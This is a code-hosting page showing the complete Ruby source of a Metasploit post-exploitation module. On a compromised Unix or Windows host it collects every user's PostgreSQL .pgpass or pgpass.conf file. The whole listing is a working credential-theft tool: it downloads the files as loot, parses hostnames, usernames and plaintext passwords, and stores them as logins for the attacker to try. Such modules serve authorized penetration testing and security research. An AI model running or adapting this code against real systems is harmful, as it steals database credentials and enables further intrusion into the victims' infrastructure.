CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/pgpass_creds.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
include Msf::Post::Windows::UserProfiles
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Multi Gather pgpass Credentials',
16
'Description' => %q{
17
This module will collect the contents of all users' .pgpass or pgpass.conf
18
file and parse them for credentials.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
22
'Platform' => %w[linux bsd unix osx win],
23
'SessionTypes' => %w[meterpreter shell]
24
)
25
)
26
end
27
28
def run
29
print_status('Finding pgpass creds')
30
31
files = []
32
case session.platform
33
when 'unix', 'linux', 'bsd', 'osx'
34
files = enum_user_directories.map { |d| d + '/.pgpass' }.select { |f| file?(f) }
35
when 'windows'
36
if session.type != 'meterpreter'
37
print_error('Only meterpreter sessions are supported on windows hosts')
38
return
39
end
40
41
grab_user_profiles.select do |user|
42
f = "#{user['AppData']}\\postgresql\\pgpass.conf"
43
if user['AppData'] && file?(f)
44
files << f
45
end
46
end
47
else
48
print_error("Unsupported platform #{session.platform}")
49
return
50
end
51
52
if files.nil? || files.empty?
53
print_error('No users found with a .pgpass or pgpass.conf file')
54
return
55
end
56
57
files.each do |f|
58
# Store the loot
59
print_good("Downloading #{f}")
60
pgpass_path = store_loot('postgres.pgpass', 'text/plain', session, read_file(f), f.to_s, "pgpass #{f} file")
61
print_good "Postgres credentials file saved to #{pgpass_path}"
62
# Store the creds
63
parse_creds(f)
64
end
65
end
66
67
# Store the creds to
68
def parse_creds(f)
69
cred_table = Rex::Text::Table.new(
70
'Header' => 'Postgres Data',
71
'Indent' => 1,
72
'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
73
)
74
75
read_file(f).each_line do |entry|
76
# skip comments
77
next if entry.lstrip[0, 1] == '#'
78
79
ip, port, db, user, pass = entry.chomp.split(/:/, 5)
80
81
# Fix for some weirdness that happens with backslashes
82
p = ''
83
bs = false
84
pass.split(//).each do |c|
85
if c == '\\'
86
if bs == false
87
bs = true
88
p << c
89
else
90
# second backslash ignore
91
bs = false
92
end
93
elsif c == ':' && bs == true
94
p = "#{p[0, p.length - 1]}:"
95
else
96
p << c
97
end
98
end
99
100
pass = p
101
102
# Display the original before we try to report it, so the user
103
# sees whatever was actually in the file in case it's weird
104
cred_table << [ip, port, db, user, pass]
105
106
if ip == '*' || ip == 'localhost'
107
ip = session.session_host
108
else
109
ip = Rex::Socket.getaddress(ip)
110
end
111
112
# Use the default postgres port if the file had a wildcard
113
port = 5432 if port == '*'
114
115
credential_data = {
116
origin_type: :session,
117
session_id: session_db_id,
118
post_reference_name: refname,
119
username: user,
120
private_data: pass,
121
private_type: :password,
122
realm_value: db,
123
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
124
workspace_id: myworkspace_id
125
}
126
127
credential_core = create_credential(credential_data)
128
129
login_data = {
130
address: ip,
131
port: port,
132
protocol: 'tcp',
133
service_name: 'postgres',
134
core: credential_core,
135
access_level: 'User',
136
status: Metasploit::Model::Login::Status::UNTRIED,
137
workspace_id: myworkspace_id
138
}
139
create_credential_login(login_data)
140
end
141
142
if !cred_table.rows.empty?
143
print_line
144
print_line(cred_table.to_s)
145
end
146
end
147
end
148
149